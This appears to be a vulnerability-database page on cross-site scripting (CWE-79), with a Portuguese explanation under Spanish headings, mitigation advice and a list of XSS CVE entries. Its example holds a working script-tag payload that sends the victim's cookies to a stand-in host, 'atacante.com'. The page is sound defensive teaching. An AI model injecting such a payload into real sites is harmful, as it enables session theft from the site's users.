Fallos del tipo CWE-79

29.084 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-36196MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-0231—ShopLentor < 2.5.4 - Contributor+ Stored XSSEPSS 0.5%CVE-2025-49553CRITICALAdobe Connect | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.5%CVE-2024-25865MEDIUMCross Site Scripting (XSS) vulnerability in hexo-theme-anzhiyu v1.6.12, allows remote attackers to execute arbitrary code via the algolia seEPSS 0.5%CVE-2024-36201MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2024-36249HIGHCross-site scripting vulnerability exists in Sharp Corporation and Toshiba Tech Corporation multiple MFPs (multifunction printers). If this EPSS 0.5%CVE-2026-26862HIGHCleverTap Web SDK version 1.15.2 and earlier is vulnerable to DOM-based Cross-Site Scripting (XSS) via window.postMessage in the Visual BuilEPSS 0.5%CVE-2024-10217CRITICALTIBCO Hawk Stored-XSS VulnerabilityEPSS 0.5%CVE-2024-24156MEDIUMCross Site Scripting (XSS) vulnerability in Gnuboard g6 before Github commit 58c737a263ac0c523592fd87ff71b9e3c07d7cf5, allows remote attackeEPSS 0.5%CVE-2024-36192MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-3691LOWlayui HTML Attribute cross site scriptingEPSS 0.5%CVE-2024-36189MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2022-47102MEDIUMA cross-site scripting (XSS) vulnerability in Student Study Center Management System V 1.0 allows attackers to execute arbitrary web scriptsEPSS 0.5%CVE-2022-4837MEDIUMCPO Companion < 1.1.0 - Contributor+ Stored XSS via ShortcodeEPSS 0.5%CVE-2025-1337MEDIUMEastnets PaymentSafe BIC Search cross site scriptingEPSS 0.5%CVE-2022-25978MEDIUMAll versions of the package github.com/usememos/memos/server are vulnerable to Cross-site Scripting (XSS) due to insufficient checks on exteEPSS 0.5%CVE-2024-36194MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2023-0419—Shortcode for Font Awesome < 1.4.1 - Contributor+ Stored XSSEPSS 0.5%CVE-2024-36191MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.5%CVE-2021-24660—PostX Gutenberg Blocks Saved Templates Addon < 2.4.10 - Contributor+ Stored Cross-Site ScriptingEPSS 0.5%